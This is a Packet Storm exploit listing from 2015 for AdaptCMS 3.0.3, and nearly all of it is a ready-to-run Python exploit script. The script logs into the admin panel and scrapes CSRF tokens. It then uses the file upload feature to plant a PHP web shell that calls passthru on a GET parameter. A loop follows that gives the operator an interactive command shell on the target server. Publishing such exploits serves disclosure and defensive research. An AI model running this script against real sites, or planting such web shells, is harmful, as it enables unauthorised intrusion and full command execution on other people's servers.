AdaptCMS 3.0.3 Remote Command Execution

2015-01-05T00:00:00
ID PACKETSTORM:129814
Type packetstorm
Reporter LiquidWorm
Modified 2015-01-05T00:00:00

Description

                                        
                                            `#!/usr/bin/env python  
#  
#  
# AdaptCMS 3.0.3 Remote Command Execution Exploit  
#  
#  
# Vendor: Insane Visions  
# Product web page: http://www.adaptcms.com  
# Affected version: 3.0.3  
#  
# Summary: AdaptCMS is a Content Management System trying  
# to be both simple and easy to use, as well as very agile  
# and extendable. Not only so we can easily create Plugins   
# or additions, but so other developers can get involved.  
# Using CakePHP we are able to achieve this with a built-in  
# plugin system and MVC setup, allowing us to focus on the  
# details and end-users to focus on building their website  
# to look and feel great.  
#  
# Desc: AdaptCMS suffers from an authenticated arbitrary  
# command execution vulnerability. The issue is caused due  
# to the improper verification of uploaded files. This can  
# be exploited to execute arbitrary PHP code by creating  
# or uploading a malicious PHP script file that will be  
# stored in '\app\webroot\uploads' directory.  
#  
# Tested on: Apache 2.4.10 (Win32)  
# PHP 5.6.3  
# MySQL 5.6.21  
#  
#  
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
# @zeroscience  
#  
#  
# Advisory ID: ZSL-2015-5220  
# Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2015-5220.php  
#  
#  
# 29.12.2014  
#  
#  
  
  
import itertools, mimetools, mimetypes, os  
import cookielib, urllib, urllib2, sys, re  
  
from cStringIO import StringIO  
from urllib2 import URLError  
  
piton = os.path.basename(sys.argv[0])  
  
def bannerche():  
print """  
o==========================================o  
| |  
| AdaptCMS RCE Exploit |  
| |  
| ID:ZSL-2015-5220 |  
| o/ |  
+------------------------------------------+  
"""  
if len(sys.argv) < 3:  
print '\x20\x20[*] Usage: '+piton+' <hostname> <pathname>'  
print '\x20\x20[*] Example: '+piton+' zeroscience.mk adaptcms\n'  
sys.exit()  
  
bannerche()  
  
host = sys.argv[1]  
path = sys.argv[2]  
  
cj = cookielib.CookieJar()  
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))  
  
try:  
gettokens = opener.open('http://'+host+'/'+path+'/login')  
except urllib2.HTTPError, errorzio:  
if errorzio.code == 404:  
print 'Path error.'  
sys.exit()  
except URLError, errorziocvaj:  
if errorziocvaj.reason:  
print 'Hostname error.'  
sys.exit()  
  
print '\x20\x20[*] Login please.'  
  
tokenfields = re.search('fields]" value="(.+?)" id=', gettokens.read()).group(1)  
gettokens = opener.open('http://'+host+'/'+path+'/login')  
tokenkey = re.search('key]" value="(.+?)" id=', gettokens.read()).group(1)  
  
username = raw_input('\x20\x20[*] Enter username: ')  
password = raw_input('\x20\x20[*] Enter password: ')  
  
login_data = urllib.urlencode({  
'_method' : 'POST',  
'data[User][username]' : username,  
'data[User][password]' : password,  
'data[_Token][fields]' : '864206fbf949830ca94401a65660278ae7d065b3%3A',  
'data[_Token][key]' : tokenkey,  
'data[_Token][unlocked]' : ''  
})  
  
login = opener.open('http://'+host+'/'+path+'/login', login_data)  
auth = login.read()  
for session in cj:  
sessid = session.name  
  
ses_chk = re.search(r'%s=\w+' % sessid , str(cj))  
cookie = ses_chk.group(0)  
print '\x20\x20[*] Accessing...'  
  
upload = opener.open('http://'+host+'/'+path+'/admin/files/add')  
filetoken = re.search('key]" value="(.+?)" id=', upload.read()).group(1)  
  
class MultiPartForm(object):  
  
def __init__(self):  
self.form_fields = []  
self.files = []  
self.boundary = mimetools.choose_boundary()  
return  
  
def get_content_type(self):  
return 'multipart/form-data; boundary=%s' % self.boundary  
  
def add_field(self, name, value):  
self.form_fields.append((name, value))  
return  
  
def add_file(self, fieldname, filename, fileHandle, mimetype=None):  
body = fileHandle.read()  
if mimetype is None:  
mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'  
self.files.append((fieldname, filename, mimetype, body))  
return  
  
def __str__(self):  
  
parts = []  
part_boundary = '--' + self.boundary  
  
parts.extend(  
[ part_boundary,  
'Content-Disposition: form-data; name="%s"' % name,  
'',  
value,  
]  
for name, value in self.form_fields  
)  
  
parts.extend(  
[ part_boundary,  
'Content-Disposition: file; name="%s"; filename="%s"' % \  
(field_name, filename),  
'Content-Type: %s' % content_type,  
'',  
body,  
]  
for field_name, filename, content_type, body in self.files  
)  
  
flattened = list(itertools.chain(*parts))  
flattened.append('--' + self.boundary + '--')  
flattened.append('')  
return '\r\n'.join(flattened)  
  
if __name__ == '__main__':  
  
form = MultiPartForm()  
form.add_field('_method', 'POST')  
form.add_field('data[_Token][key]', filetoken)  
form.add_field('data[File][type]', 'edit')  
form.add_field('data[0][File][filename]', '')  
form.add_field('data[0][File][dir]', 'uploads/')  
form.add_field('data[0][File][mimetype]', '')  
form.add_field('data[0][File][filesize]', '')  
form.add_field('data[File][content]', '<?php echo "<pre>"; passthru($_GET[\'cmd\']); echo "</pre>"; ?>')  
form.add_field('data[File][file_extension]', 'php')  
form.add_field('data[File][file_name]', 'thricer')  
form.add_field('data[File][caption]', 'THESHELL')  
form.add_field('data[File][dir]', 'uploads/')  
form.add_field('data[0][File][caption]', '')  
form.add_field('data[0][File][watermark]', '0')  
form.add_field('data[0][File][zoom]', 'C')  
form.add_field('data[File][resize_width]', '')  
form.add_field('data[File][resize_height]', '')  
form.add_field('data[0][File][random_filename]', '0')  
form.add_field('data[File][library]', '')  
form.add_field('data[_Token][fields]', '0e50b5f22866de5e6f3b959ace9768ea7a63ff3c%3A0.File.dir%7C0.File.filesize%7C0.File.mimetype%7CFile.dir')  
form.add_file('data[0][File][filename]', 'filename', fileHandle=StringIO(''))  
  
request = urllib2.Request('http://'+host+'/'+path+'/admin/files/add')  
request.add_header('User-agent', 'joxypoxy 6.0')  
body = str(form)  
request.add_header('Content-type', form.get_content_type())  
request.add_header('Cookie', cookie)  
request.add_header('Content-length', len(body))  
request.add_data(body)  
request.get_data()  
urllib2.urlopen(request).read()  
  
f_loc = '/uploads/thricer.php'  
print  
  
while True:  
try:  
cmd = raw_input('shell@'+host+':~# ')  
execute = opener.open('http://'+host+'/'+path+f_loc+'?cmd='+urllib.quote(cmd))  
reverse = execute.read()  
pattern = re.compile(r'<pre>(.*?)</pre>',re.S|re.M)  
cmdout = pattern.match(reverse)  
print cmdout.groups()[0].strip()  
print  
if cmd.strip() == 'exit':  
break  
except Exception:  
break  
  
print 'Session terminated.\n'  
  
sys.exit()  
`